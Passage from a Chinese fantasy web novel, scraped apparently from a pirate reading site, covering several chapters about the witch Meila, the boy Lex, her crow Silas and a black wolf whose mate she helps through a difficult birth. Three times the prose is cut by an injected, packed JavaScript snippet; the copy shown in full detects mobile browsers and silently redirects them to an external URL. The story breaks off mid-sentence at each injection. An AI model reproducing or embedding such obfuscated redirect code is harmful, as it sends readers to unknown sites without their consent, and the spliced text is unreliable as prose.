“嗯嗯。”梅拉生怕威普多再问点别的,忙不迭地跑了,好在威普多急需上门诊治一个高烧的病人,没法揪住梅拉,只能看着她的背影消失在了镇子外。 呼,跑出白松镇后,梅拉不由得在心底松了口气。 她深知一个谎言想要不被揭穿,就不能说太多的细节,更何况威普多不是会抓着她喋喋不休的类型,等到她从山上回来,威普多顶多问一句采到草药没有,而不会追根究底她到底采了哪样草药。 梅拉上山,是想看看能不能找到那个神秘女人的踪迹。 关于女人的身份,从她轻易能令自己直接昏睡过去来看,梅拉心中已经隐隐有了一点猜测。 是女巫吧。梅拉想。 虽然一直以来不管是教会还是国王,都在宣扬女巫是天生的罪人,是不可接近的恶徒,她们会把无辜的平民抓起来狠狠折磨,等到他们奄奄一息时再取走他们的鲜血与脏器喂给自己的宠物——但梅拉却并不像其他人一样对女巫充满了畏惧。 或许是因为没有一个母亲从小在耳边同她讲女巫的邪恶故事。 而令人感到害怕的鲜血与脏器,梅拉早就在给威普多帮忙的时候见过更加血腥的场面了,曾经有一个年轻的猎人,在深夜敲响了梅拉家的门,乞求威普多救救他。 当时穿着碎花睡裙的梅拉就替父亲高高地举着煤油灯,照亮了猎人腹部血淋淋的伤口,以及他掉出来的肠子。 给猎人敷上草药,包扎完毕,再把他送走之后,威普多还笑着摸了摸梅拉的头发,夸她勇敢。 “想要成为一名医士,就不能害怕鲜血。”威普多这么对梅拉道。 “我明白的,父亲,我不怕。”梅拉不仅不怕,还若无其事地打了个哈欠,“我困了,要去睡觉了。” “好,那你把灯给我吧。”威普多从梅拉手里拿过那盏煤油灯,示意她先回房间睡觉,而他则得把乱糟糟的地面处理干净。 刚才那个年轻的猎人流的血太多,把地面都弄脏了。 若是就这么放着不管,第二天准保把其他登门的病人吓一跳。 * “吱嘎。”靴子踩在枯瘦的树枝上,发出清脆的一声。 梅拉探头探脑地四下张望,没有,没有,还是没有,连一点可疑的血迹都找不到。 也不知道那个女人顶着那么重的伤跑哪去了。 梅拉绕着昨天撞见那个女人的地方转了一圈又一圈,怀疑她极有可能已经离开了,甚至有可能为了躲避像她这样好奇的孩子,干脆直接离开了这座山。 山下就是白松镇,她若是来到白松镇,梅拉不可能不知道。 但山的另一头,是黑河镇,而黑河镇算是一个小型的枢纽,四面八方通往不同的领地。 没错,白松镇实际上位于菲斯特领的领地边缘。 时不时还有商人来购买白松蜡蜡烛,卖到其它领地去,只不过他们买通了税务官,把本应该缴纳给菲斯特子爵的税金,分出一小部分,将税务官的钱袋填得鼓了起来。 税务官便对此一言不发,反正也不会有人来查。 包括梅拉的母亲艾尔薇,其实是从其它领地逃难过来的平民,但收到威普多诚意满满的一袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的五官长得不算特别漂亮,但也不至于沦落到平平无奇的地步,尤其是那双艳丽的红唇,格外吸引梅拉的注意。 而且她的头发竟然是红色的诶。 和梅拉的头发一模一样。 因为整个白松镇根本找不出第二个红头发的孩子,梅拉小时候还因为这头红发被排挤,被欺负。 但这是母亲艾尔薇留给她的红发,梅拉一点也不觉得难堪和自卑,反而想办法把这些企图戏弄她,让她出丑的孩子报复了回去。 谁让威普多是白松镇唯一的医士呢?一旦有个头疼脑热,大家只能找威普多,又怎么敢让自家孩子和梅拉交恶。 威普多简直把这个唯一的女儿宠上天去了。 是真的有可能因为梅拉的一句话让上门求救的病人去找神父的。 而谁都不能说威普多的建议有错,他说自己医术不够,没法治好这病,只能让你去乞求神的怜悯,难道不对吗?莫非你质疑教会,质疑神?那你就是异教徒,来人啊,快去把这事告诉神父,让他派人把异教徒的财产全部没收,再把人关到监狱里去。 女人因为自己长相的暴露有一瞬的惊慌,但很快,她的嘴唇微张,似乎又要对梅拉施加咒语。 但比她更快念完咒语的是梅拉。 只听了一遍,梅拉就把那个令她昏睡的咒语记住了。 下一秒,倒下去的是那个眼中带着不可置信的女人。 19. 第 19 章 “后来呢?” 莱克斯听得入迷。 就连靠在梅拉怀中的塞拉斯也睁大了眼睛,屏息凝神,静静等待下文。 因为梅拉过去从未主动提及这些事,塞拉斯便压抑着好奇心,从不开口探究梅拉的过往。 塞拉斯只知道,从它被梅拉抱回位于白松镇的家时,梅拉就已经是一名货真价实的女巫了。 塞拉斯也从没见过梅拉的父亲,那个叫威普多的男人,只记得二楼有个上了锁的房间,是那栋二层小楼中不被允许踏入的禁地。 然而好奇心可以害死猫,也能害死乌鸦,塞拉斯聪明地选择了视而不见。 秘密么,活在世上谁能没有秘密呢?连塞拉斯都偷偷收下过不少次来自杰克的贿赂——一位即使被梅拉拒绝了十二次仍痴心不改的追求者——经常是一袋炸得酥香的蚕豆,咬起来嘎嘣脆。 当然了,伤害梅拉的事塞拉斯才不干,但杰克只是希望塞拉斯帮他盯着梅拉身边有没有别的男人出现——看在蚕豆的面子上,塞拉斯矜持地点头答应了。 见莱克斯和塞拉斯都巴巴地等着自己把故事讲完,梅拉忽然动了坏心眼,偏不愿意往下讲了。 于是梅拉笑吟吟的捋了一把塞拉斯背上的羽毛,道,“雨停了,该回去了。” 说完,她率先走出了山洞。 “……” 重新飞起来的塞拉斯难得与莱克斯对视一眼,不约而同地冒出了同一个心声:哪有人讲故事只讲到一半就不管了的?梅拉可真是太会吊人胃口了! 可莱克斯到底是莱克斯,他快速地收拾好自己的心情,跟在梅拉身后一起离开了山洞。 雨后的道路总是泥泞不堪的,鞋子踩上去,黏腻的触感即使隔着鞋底都有点令人犯恶心。 更别提把鞋子拔出来时,“啵”的一声,鞋底周围沾上了厚厚的一层泥。 注意到莱克斯露出了不太美妙的表情,塞拉斯顿时发出一阵幸灾乐祸的笑声。 结果只是一个错眼,没发现前方突然斜出来了一枝绿意盎然的枝条,塞拉斯就这么直愣愣地撞了上去。 枝条上缀满了圆乎乎的叶子,叶子上又盛着一粒粒透明的水珠,沉甸甸的重量以至于身子都被压弯了,让塞拉斯这么一撞,霎时狠狠地抽了它一道,还甩了它一脸新鲜的雨水。 痛得塞拉斯忍不住大呼小叫起来。 却再也不敢不好好看路了。 身旁传来梅拉毫不掩饰的笑声,莱克斯更是勾起了唇角,眼中隐隐有笑意浮动。 山洞的位置距离小木屋其实并不算太远,梅拉他们只走了不到半个小时,就远远地望见了小木屋那熟悉的尖顶。 等他们加快速度再走了一会儿,小木屋紧闭的木门便近在眼前了。 梅拉三步并作两步,快步走上台阶,再稍一使力推开木门,发出“嘭”的一声闷响,是门撞在了墙上。 而屋子中央的坩埚像是被这响声惊醒了似的,屁股底下倏地冒出火来,熊熊燃烧着,很快便将锅里的大半锅水煮沸了。 正好,梅拉迫不及待地拿了衣服,提着一桶热水到河边洗澡去了。 等梅拉洗干净一身雨水,换掉湿漉漉的脏衣服,神清气爽地回来后,发现莱克斯为她泡的一壶花草茶也好了。 空气中氤氲着一股浅淡的香气。 是洋甘菊的味道。 “哎呀,莱克斯你可真是越来越贴心了。” 梅拉捧起杯壁尚且滚烫的茶杯,就着腾腾升起的白雾浅浅地呷了一口,只觉得随着加了蜂蜜的茶水一路从喉咙滚到四肢百骸,蒸发了体内最后残存的一点寒意,简直浑身都舒坦得要命。 鼻腔内属于洋甘菊的香气涌动间,梅拉更是舒服得微微仰起脸,眼睛都眯了起来。 只见黑色的裹身裙宽松地套在梅拉的身上,露出了脖颈至领口处一大片雪白的肌肤。夜风吹至半干的长发则柔顺地垂在她身后,只有几缕散乱的碎发搭在肩头。 而昏黄的灯光则一寸一寸地描摹她的五官,留下起伏的阴影,神秘且引人遐想。 坩埚内,沸腾的水还在不断发出咕嘟声,窗外偶尔响起两声忽大忽小的蛙鸣。 塞拉斯踩着的栖杆正随着它的动作时不时晃动,负责固定的绳索绞紧,粗糙的草质互相摩擦,造成了非常细微的响动。 不知为何,眼前这一幕让莱克斯自心底油然而生出一种难以言喻的放松。 好像在这座小木屋里,他可以卸下全部的防备与警惕。 要知道即使在王宫,自己的房间里,莱克斯都不曾感受过这样由内而外的轻松。 “你在发什么呆呢?”梅拉睁开眼,见莱克斯愣愣地站在坩埚前出神,伸出手在他眼前随意地晃了两下。 “没什么。”莱克斯骤然回神。 接着像是为了掩饰什么,他刻意加快了手上的动作,很快便提着满满当当的一桶热水径自去往河边。 梅拉摩挲着下巴,总觉得莱克斯离开的背影颇有些落荒而逃的意味。 * 等莱克斯从河边洗完澡回来,梅拉早已坐在摇椅上看起了书,而塞拉斯则把脑袋埋在翅膀里,打起了小呼噜。 这时候不得不感叹,有防水的羽毛就是好啊。 “回来了?”梅拉听到脚步声,从书页中抬眼,有些意外地发现从侧面看去,男孩脸上的棱角渐渐有了更加硬朗的趋势。 大概再过几年,漂亮的男孩就能长成英俊的少年了。 只不过当莱克斯转过来,露出正脸,眉眼间的青涩毋容置疑。 还是能被称为孩子的年纪呢。梅拉为自己刚才一闪而过的念头哑然。 “嗯。”莱克斯低低地应了一声。 这是他从塞拉斯身上学会的,不管梅拉说什么,他都应该作出一点回应来。 这样梅拉的心情就会变得更好。 “困了你就先睡吧,我头发还没干。”果然,梅拉难得体贴地道。 说着,她搭在膝盖上的书又翻过了一页。 莱克斯犹豫了一下,还是主动提出来,“用毛巾擦一擦可以干得快些。” “我知道,但我懒得弄,反正现在我也还不困。” 没想到话音刚落,梅拉就不受控制地打了个哈欠,眼角隐隐闪现着水光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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忽然,身后的动静停了。 “嗯?擦好了吗?”梅拉过了好一会儿才反应过来。 “嗯,已经全部擦干了。”莱克斯道。 “太好了,我简直困得要命……” 梅拉是真的困,嘴里的话都没来得及说完,便闭上了眼睛,彻底睡了过去。 随着她手上的力道一松,原本拿着的书也差点掉到了地上。 千钧一发之际,是莱克斯伸出手接住了书。 常年练剑的反应力自然不是盖的,只不过白皙的指节上也满是练剑练出来的茧子。 因为有段时间没有握剑了,莱克斯手上的这些茧子摸起来比之前薄了一些,不过等杜克瓦托带着他想要的东西前来,估计它们也会跟着恢复如初。 作为屋子里唯一清醒着的人,莱克斯把书放好,然后熄灭了煤油灯。 原本亮堂的小木屋顿时暗了下来。 门已经关上了,唯有月光越过窗台,静静地流淌了一地。 莱克斯躺到属于自己的毯子里,也闭上了双眼。 很快,屋内响起了第三道平和的呼吸声。 20. 第 20 章 冰雪刚刚消融,春天的痕迹尚未开始蔓延,呵出的气息仍然化作了空中的一缕白雾,朝着远方逸散。 梅拉拢了拢身上罩着的羊绒披肩,感觉指尖依旧带着点寒意,翻书的动作都有点几不可见的僵硬。 她要是能像莱克斯一样就好了。 想起早上莱克斯背着弓箭出门时,已经换上了轻薄的衬衣,梅拉的心底就忍不住冒起一点对少年人的嫉妒。 明明她也才二十六岁,自觉和十七岁时的自己比起来并无太大的改变,但十七岁的梅拉敢在三月份就脱下冬装前往清晨的山林,顶着晨雾,听风裹着高大的杉树飒飒地吹。 而二十六岁的梅拉只有用羊绒披肩把自己裹紧,再喝一杯热气腾腾的花草茶,才能让身体彻底暖和过来。 可惜梅拉才端起茶杯,加了满满一勺蜂蜜,从而变得甜滋滋的茶水刚碰到唇边,小木屋就迎来了一位意料之外的客人。 一头长相威武霸气的黑狼突然闯入小木屋之中,昂着脑袋,冲坐在摇椅上的梅拉直叫唤,气势骇人。 它的个头比一般的狼要大了足足一圈,浑身上下充斥着勃/发的兽性,隐隐还能从咧开的嘴角看到白色的尖牙,仿佛下一秒就能跳上来一口咬断你的喉咙。 如果换了别人,猝不及防面对这么一头危险的大黑狼,大概此刻已经害怕得直接跌坐在地上,涕泪横流地求饶了。 可梅拉只是淡定地放下了手中的茶杯,走下摇椅,来到黑狼的面前,问它,“出什么事了?你想找我帮忙?” 语气间颇有些熟稔。 黑狼不愧长了这么大的个头,聪明程度异于常狼,它像是听懂了梅拉的话一样,忙不迭地点头,碧绿色的兽瞳中含着不加掩饰的焦虑。 它作势去咬梅拉的裙角,一副想拽着梅拉跟它走的模样。 “等等,你还没说到底发生了什么事呢?我总不能就这么两手空空地跟着你走吧?否则怎么给你帮忙?”梅拉连忙制止了黑狼。 黑狼想了下,觉得梅拉说得对。 但让它口吐人言还是太为难它一头狼了,它只好滚在地上,用一对爪子捧住肚子,发出“嗷呜嗷呜”的叫声,叫得格外凄切。 肚子、痛苦,梅拉瞬间领悟了黑狼的意思,“是不是你的妻子要生小狼崽了?但是生产困难,所以需要你来找我帮忙?” 闻言,黑狼迅速爬起来,冲梅拉疯狂点头。 好吧,既然是这事,那就不能再继续耽误下去了,否则母狼很有可能坚持不到她们赶回去。 梅拉抄起平时采草药用的篮子,“噔噔噔”地跑到靠墙的那一大面橱柜前,拉开抽屉,翻出剪刀和针线,一股脑地丢了进去。 幸好这些年莱克斯将这些容易丢失的小物件都井井有条地收纳了起来,放到了固定的位置,否则按梅拉之前把东西随意乱丢的习惯,一时半会儿还真不一定能迅速找到它们。 接着梅拉又从一格格的柜子上抓下几瓶颜色不一的药剂丢进篮子里,做足了最坏的准备。 这下只要母狼还存着一口气,她就一定能把它给救回来。 “好了!”梅拉收拾完毕,走过来拍了拍黑狼的脑袋,示意它赶紧给她带路。 黑狼却蹭了蹭梅拉的腿,似乎是想让梅拉坐到自己背上,驮着她跑。 也对,四条腿的速度可比两条腿快多了。 然而尽管黑狼的个头已经很大了,人立起来有近两米高,但想驮着梅拉一路跑回洞穴大概还是有些困难的。 毕竟梅拉虽然算不上胖,但也不是纤瘦得仿佛薄薄一张纸片,风一吹就能被吹跑的类型。 有可能半路上黑狼就该吐着舌头累坏了。 不过梅拉可是女巫啊,这怎么可能难得倒她呢? 只见梅拉对着黑狼念出咒语,眨眼间,就得到了一头身长足有四五米的巨狼。 巨狼趴伏下来,方便梅拉爬上它的背。 “好了,我们快走吧。”梅拉坐在巨狼毛发蓬松的背上,没有拎着篮子的另一只手攥紧了巨狼的一撮毛,防止待会儿跑起来她被甩出去。 确认梅拉坐稳了之后,巨狼一下子跑得飞快。 途径的风将梅拉的衣袖吹得猎猎作响,红色的长发更是在她的身后肆意飘扬。 然而梅拉忘了自己的身上还搭着一条披肩,一下被风带着往后跑远了。 “诶!”可惜梅拉已经没有多余的手把披肩及时按住,只能眼睁睁地看着它飘啊飘,最后不知落到了何处。 算了,之后再去把它找回来吧。梅拉尽可能地伏低身子,贴紧了巨狼的毛毛,阻止冷风从领口灌进自己的衣服里。 变大后的黑狼跑一步抵得上原来跑两三步,几乎是转瞬的功夫就跑出了几十米开外。 它内心担忧着洞穴里妻子的情况,干脆带着梅拉抄了原本不敢走的近路。 这条布满了低矮灌木,荆棘丛生的荒僻小路对狼来说算不上什么,它们不像人类,皮肤娇嫩,轻轻一划就是一道口子。 但路过的风捎来了好几种令兽忌惮的强大敌人的气味,即使是黑狼,一般情况下也会选择绕开这里,避免和这些猛敌发生正面冲突。 可现在不一样了,黑狼变得更加高大与威猛,它一路疾驰而来,愣是没有其它野兽胆敢靠近,顶多在远处鬼鬼祟祟地露出半个身子,偷偷观察它有没有靠近自己领地的打算。 黑狼目不斜视,一路朝着尽头的方向狂奔。 随着它逐渐靠近,眼前突然出现一个好几米高的山坡,阻碍了去路。然而黑狼没有任何犹豫,爪下用力,一蹬,具备强大爆发力的身躯舒展开来,顶级狩猎者的肌肉线条在初春的午后那不带温度的日光下若隐若现,连毛发的尖端都似乎闪着光泽,仿佛画作中才会出现的一幕。 梅拉在黑狼的背上发出一声惊呼。 这和坐在塞拉斯的背上飞翔不一样,当黑狼跳起来时,梅拉的身体跟着一起往后倾,好像下一秒就要掉下去了似的。 但一个眨眼的功夫,黑狼的爪子落到了坚实的地面上,惯性又将梅拉拉回了毛绒绒之中。 脸扑在黑色的狼毛中,梅拉忍不住回味刚才那一瞬的刺激。 在地上跑的和在天上飞的感觉果然不一样,可惜塞拉斯的嫉妒心太强,她是没法再养头狼当宠物了。 * 等黑狼驮着梅拉抵达自己的洞穴时,正好赶上母狼因为失血过多而变得奄奄一息。 望着朝自己跑来的丈夫,母狼忍不住发出了低低的呜咽。 它不畏惧死亡,但它肚子里的狼崽子们还没能亲眼看这个世界一面。 兽性之下,母爱更是它的本能。 黑狼见状,简直急坏了,恨不得去含母狼的吻部,给予它支持与力量,但它现在的体型若是进去,能直接把洞口给牢牢堵住,说不定洞穴都给挤塌了。 无法,黑狼只能焦急地伏下身体,放下梅拉,目送她走到母狼身边蹲下。 梅拉先仔细地查看了母狼的情况,还好,还没到最糟糕的地步,只不过是因为它初次生产,没有掌握省力的技巧,再加上狼崽子的位置有点不对,才努力了半天都没能生下第一只狼崽。 “没事,喝几滴药水就行了。” 梅拉舒了口气,这样一看,她连剪刀都不必拿出来,只拿出一瓶紫色的药剂,拔开木塞,往母狼嘴里倒了几滴。 仅仅是几滴药水,都用不着吞咽,便飞速地融化在母狼的嘴中。 而母狼虽然不知道梅拉给自己喝的是什么,却能感受到失去的力气飞快地回到了身体里,又能重新使劲把腹内的孩子们生出来了。 它的精神顿时为之一振。 “加油啊。”梅拉不忘给它鼓励。 闻言,母狼也很争气。 只见它一鼓作气,把四个孩子全都生出来了。 刚出生的四只小狼崽连眼睛都没睁开,只知道拱在母亲的腹部。 母狼一脸怜爱,逐一舔了过去。 “太好了,母子平安。”梅拉笑弯了眼睛。 她连忙出去告诉黑狼这个好消息。 黑狼的脸上同样露出喜色,它低头,想蹭一蹭梅拉,结果因为头太大,被梅拉挡了下来。 “我还是先把你变小了再说吧。”梅拉道。 否则她担心这么大只的黑狼一蹭,能把自己直接掀翻在地。 随着梅拉贴着黑狼的吻部念念有词,呼吸间,黑狼渐渐缩小回了它原本的个头。 当然,哪怕是它原本的个头,站起来的时候脑袋也快挨到梅拉肩膀上去了。 “手感真好。”梅拉这回抱着狼头尽情地抚摸那身油光发亮还蓬松的毛发,再一次可惜自己不能拐只狼回去当宠物。 冬天的时候如果能抱着这么一只毛绒绒的动物,一定很暖和吧。 “天哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725604|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !梅拉你在干什么?你竟然在摸别的动物!” 和莱克斯一路找来的塞拉斯远远地看见了与大黑狼贴在一起的梅拉,气得直接大喊大叫,抛下莱克斯便像一支离弦的弓箭似的冲向了梅拉。 难得有些心虚的梅拉松开了黑狼,接住了冲过来的塞拉斯,安抚似的拍了拍它的脑袋。 “虽然我摸了别的动物,但只有你才是我唯一的宠物啊。” 原本还气冲冲的塞拉斯一下子就让梅拉哄得找不着北了,“那你答应我,你的宠物永远只能有我一个。” 如果是这样的话,那梅拉偶尔摸摸别的动物也不是不行,比如眼前这头黑狼。 虽然它的毛发不如塞拉斯的鸟羽具备独一无二的光泽感,它也只会嗷呜嗷呜乱叫,不能像塞拉斯一样为梅拉解忧。 但塞拉斯也理解梅拉偶尔会流连一时的新鲜。 再好吃的食物吃多了也会腻,鸟羽摸多了想摸摸狼毛也很正常,因此塞拉斯只要求在梅拉的心里,它永远是唯一的那个就够了。 “当然了,这世上还有哪只乌鸦能像我的塞拉斯一样聪明又忠心、体贴又热情呢?”只要梅拉想哄谁,甜言蜜语就能源源不断地从她嘴里流出来。 看吧,塞拉斯早已被她哄得心花怒放。 此时,一直被这对主仆忽略的莱克斯默默走上来,将怀里抱着的羊绒披肩拿出来,递给了梅拉。 “咦,这条披肩竟然被你捡到了吗?”梅拉有些诧异,很快喜滋滋地道,“正好,这下我就不用费心去找它了。” 莱克斯“嗯”了一声,“是在来找你的路上看见的。” 莱克斯是在一根光秃秃的树杈子上发现了这条眼熟的羊毛披肩。 当时他一面为自己没有找错方向而舒了口气,一面又担心梅拉是不是出了什么事,才不慎落下了这条披肩。 好在梅拉一切平安,还能笑眯眯地和黑狼挥手,示意它回洞穴里陪自己的妻儿去吧,她现在要跟着莱克斯与塞拉斯回小木屋去了。 路上,梅拉把黑狼是如何找上门来,她又是怎样救了母狼和四只小狼崽的事情简单地描述了一下。 “那你们呢?怎么突然来找我了?”梅拉问道。 她还以为这回又和往常一样,塞拉斯缠着莱克斯一起打猎,不玩到尽兴就不肯回去。 虽然塞拉斯还是只雏鸟的时候就让梅拉捡了回去,压根没跟着母鸟学习多少捕猎技巧,让它自己捉猎物那肯定是行不通的。 但塞拉斯会飞啊,它能飞在空中替莱克斯提前侦查附近有什么猎物。 等莱克斯悄然拉弓,用箭将猎物钉在了地上之后,塞拉斯再从空中俯冲下来,狠狠地吓可怜的猎物一跳,然后发出一阵兴高采烈的坏笑。 梅拉曾旁观过一次他们的狩猎,只觉得塞拉斯越来越像传说中邪恶的女巫宠物了。 “我和塞拉斯回到小木屋后没有看见你,又在小木屋前的空地上发现了几个巨大的兽类脚印,担心你出了事,所以才一路找了过来。” 莱克斯同梅拉解释道。 “噢,你担心我。”梅拉弯起了眼睛,好似天边那一勾若隐若现的月牙。 “对,我担心你。虽然我知道黑暗森林里能伤害到你的野兽根本不存在,但我无法克制不去想象你受伤的样子。” 可惜,这几年来,随着身高逐渐挺拔,已经长成英俊少年的莱克斯再也不会像小时候一样轻易脸红了。 他侧过脸,绕过一根即将打到额头的树枝,那双璀璨如黄金的眼眸就这么定定地与梅拉对视,分外坦诚。 当然,从他把梅拉接下来要说的话堵得死死的,就知道他这番话不是随意说出来的了。 莱克斯就是故意的。 心思也远没有他表现出来的那样坦诚。 “……莱克斯,你变得一点都不可爱了。”梅拉忍不住控诉。 “是吗?那可能是因为我长大了吧。”莱克斯勾起唇角。 若是这幅继承了曾经的王国第一美人莉莉勒斯的好样貌能在王宫召开的舞会上亮相,一定能迷倒一大批人。 然而梅拉不上当,她反而突然一脸怜爱地看向塞拉斯,果然,还是塞拉斯好。不管过去多少年,都是这副傻得冒泡的模样。 像狼崽子一旦长大,自然而然地就变坏了。 还有一年,梅拉与莱克斯同时在心中想到,他们的约定就要结束了。 21. 第 21 章 “你又来啦。” 自从上次梅拉替黑狼救下母狼,还帮助母狼顺利产下小狼崽后,这头黑狼三不五时就要叼着猎物送来小木屋。 有时候是几只野兔,有时候是一头小羊羔。 大概是因为黑暗森林里植被丰茂的缘故,这类食草的动物各个都把自己养得滚圆,用来蹦跳的四条腿更是格外有劲,看着十分嫩弹。 塞拉斯头一回见到黑狼叼着猎物前来,还会扯着嗓子朝屋子里大声叫唤,“梅拉!莱克斯!大黑狼叼着一头小羊羔来了,你们快来看啊!” 叫唤完,塞拉斯便飞到被黑狼放到地上的小羊羔身旁,一双黑豆眼不停地来回打量。 塞拉斯不懂得分辨猎物的好坏,但这头小羊羔的分量肉眼可见,足够他们吃上好几顿了,尤其是这四条腿,塞拉斯已经迫不及待怀念起曾经吃过的,油汪汪、且香料味十足的烤羊腿了。 看在梅拉的面子上,黑狼放任了塞拉斯的靠近。它则蹲坐在一旁,伸出舌头,把嘴角的血迹舔干净了。 虽然梅拉不害怕血,但她却会因为裙子上沾了血而狠狠揉搓黑狼那对毛茸茸的大耳朵。 以防万一,黑狼还是先把自己弄干净了再说。 “让我看看小羊羔在哪里。”听到塞拉斯的声音,梅拉慢吞吞地从小木屋里走出来。 等到梅拉看见那头被母羊养得肉嘟嘟的小家伙,她笑眯眯地在黑狼面前蹲下,摸了摸它的脑袋,“是特地送来答谢我的礼物吗?我很喜欢。这么肥嫩的一只小羊羔,我会好好享用它的。” 黑狼又低低地呜咽了一声。 虽然梅拉没有来抱它,但黑狼主动地用自己的脑袋往梅拉的手心蹭了蹭,然后它一扭头,毫不留恋地走了。 母狼还带着四只嗷嗷待哺的小狼崽子在洞穴里等着它带吃的回去呢。 只有充足的食物,才能让母狼泌出足够的乳/汁。 尤其几只小狼崽子不愧是它的孩子,胃口天生就比普通的狼崽子要大,动不动就嗷嗷叫唤,蹭到母狼身下,表示自己饿了。 对于动物来说,能吃就代表着健康,看来当初母狼的难产并没有对孩子们造成多大的影响。 这让黑狼一面开心,一面深感身上的压力庞大。 没办法,它和母狼是脱离狼群,独立结成的小家,如今母狼需要留在洞穴里照顾孩子们,狩猎的重担只能全部落在了它的头上。 好在黑狼的身手向来矫健,加上春天来临,原本躲起来过冬的动物们纷纷出来觅食、诞育新的生命,黑狼想找到食物还是很容易的。 只不过得多费几趟功夫。 譬如它需要先跑一趟,把刚刚得手的猎物送去小木屋,再跑一趟,抓到新的猎物,带回自己的洞穴里投喂母狼。 后来黑狼来的次数多了,连塞拉斯都渐渐习以为常,不再大惊小怪。 顶多懒洋洋地投去一眼,说一句,“你又来啦。” 算是和黑狼打招呼。 一般黑狼见到梅拉或是莱克斯,确认自己送来的猎物不会被别的动物夺走后,就会扭头离开。 但今天黑狼来得不巧,梅拉正在煮一锅新的药水,没法抽身,莱克斯又出门去了。 于是黑狼把叼来的小羊羔放下,静静地守在一旁,毕竟在它眼里,塞拉斯可不像是能守住猎物的样子。 然而见黑狼今天竟然留了下来,塞拉斯梳理羽毛的动作一顿。 虽然这些天黑狼送来的猎物它一个不落地吃了一部分,但黑狼送猎物的举动实际上还是在小心眼的塞拉斯这儿留了根刺,它总觉得黑狼是在讨好梅拉,没看见梅拉时不时就要念叨一句: “也不知道黑狼下次什么时候来?” “最近兔子吃腻了,黑狼要是能带只羊羔来就好了。” 可恶,本来多了个莱克斯和它抢梅拉的注意力就算了,现在难道还要再挤一头黑狼进来吗? 想到这,塞拉斯从窗台上飞下来,落到已经咽气了的小羊羔旁边,装模作样地绕着它走了一圈,嘴里不忘挑三拣四: “今天这只小羊羔的个头可没有上回带来的那只大,也就勉勉强强吧,腿这么瘦,就算单独切下来做烤羊腿也没几两肉。” 闻言,黑狼只是淡淡地瞥了塞拉斯一眼,发出一声不屑的轻哼。 那样子仿佛在说,“换做是你,怕是连这样一只小羊羔都猎不到,有什么资格在这里挑挑拣拣”。 ? 塞拉斯神奇地领悟了黑狼的意思。 然后塞拉斯就怒了。 完全忘记了明明是它故意挑衅黑狼,才换来黑狼的反击。 “你竟然敢小瞧我!”塞拉斯重重地从鼻腔里哼出一声,“我可是也往小木屋带回过不少猎物的,其中还有一头正值壮年的雄鹿。怎么样,这你猎不到吧?” 塞拉斯得意洋洋地抬起下巴,结果发现自己站在地上压根无法蔑视黑狼,它还没狼腿高。 于是塞拉斯拍打着翅膀飞起来,做足了居高临下的高傲姿态。 即使是黑狼,在没有狼群的助力下,也不可能敢轻易贴近雄鹿的身边,那对巨大的树杈子一样的犄角一顶,可是能把狼直接顶飞出去,甚至顶出一个血糊糊的洞来的。 只不过黑狼可不是好骗的,它立刻用怀疑的眼神盯着塞拉斯,像是在质问,“就你?你能猎到一头雄鹿?” “当然!”塞拉斯毫不畏惧地迎上黑狼打量的目光。 它可没说谎。 虽然那头雄鹿主要是被莱克斯用箭射死的,但如果没有它塞拉斯给莱克斯报信,莱克斯也不可能知道几百米外有一头雄鹿正在河边喝水,再让他找着机会悄悄地摸到边上的灌木丛后,搭起弓箭,拉满,射出。 下一秒,雄鹿被箭矢射中,直接倒地。 莱克斯忙不迭地射出第二箭、第三箭,直到看见雄鹿不再挣扎,彻底咽气后,才带着落到肩头的塞拉斯上前,把它一路拖回了小木屋。 总之,塞拉斯自认为能猎到雄鹿,其中也有一份属于它的功劳。 见塞拉斯的态度十分坚定,不像作假,黑狼难得有一丝动摇,难道这只看起来弱小不堪的乌鸦真的能猎到一头雄鹿? 不,黑狼猛地摇了摇头,不可能,这只狡猾的乌鸦一定是在骗狼。 “你们在聊什么呢?”梅拉终于从小木屋里走出来。 看见黑狼身旁的小羊羔,梅拉顿时眼睛一亮,“太好了,我正想吃羊肉呢,你可真是和我心有灵犀。” 梅拉忍不住蹲下来抱住黑狼的脑袋,拿自己的脸去蹭它。 黑狼也任由梅拉蹭自己,无论梅拉是要捏它的耳朵还是要挠它的下巴,都伫立不动,像一尊威严的雕像。 它也只对梅拉如此亲近。 像莱克斯,就不准摸它。 莱克斯只要有靠近它的意图,黑狼立刻就会对他呲出獠牙,一副你敢过来就咬你的模样。 当然,偶尔也有例外。 比如现在,梅拉冲着黑狼身后呼唤道:“莱克斯,快过来!” 看在梅拉的要求上,黑狼默许了另一道脚步声靠近自己,在梅拉面前蹲了下来。 莱克斯今天出门是为了摘野樱桃。 梅拉最近特别想吃樱桃,可距离杜克瓦托上一次送东西来才过去不到三天,又为了这事让他专门跑一趟,即使是梅拉也会觉得不好意思。 可嘴馋就是越吃不到越馋,梅拉一连好几天都在唉声叹气。 没办法,莱克斯只好出门,到处寻找野生樱桃树的踪迹。 没想到,竟然还真给他找到了。 只不过因为缺少人工的照料,这些野樱桃的个头算不上大,吃起来也比较酸涩。 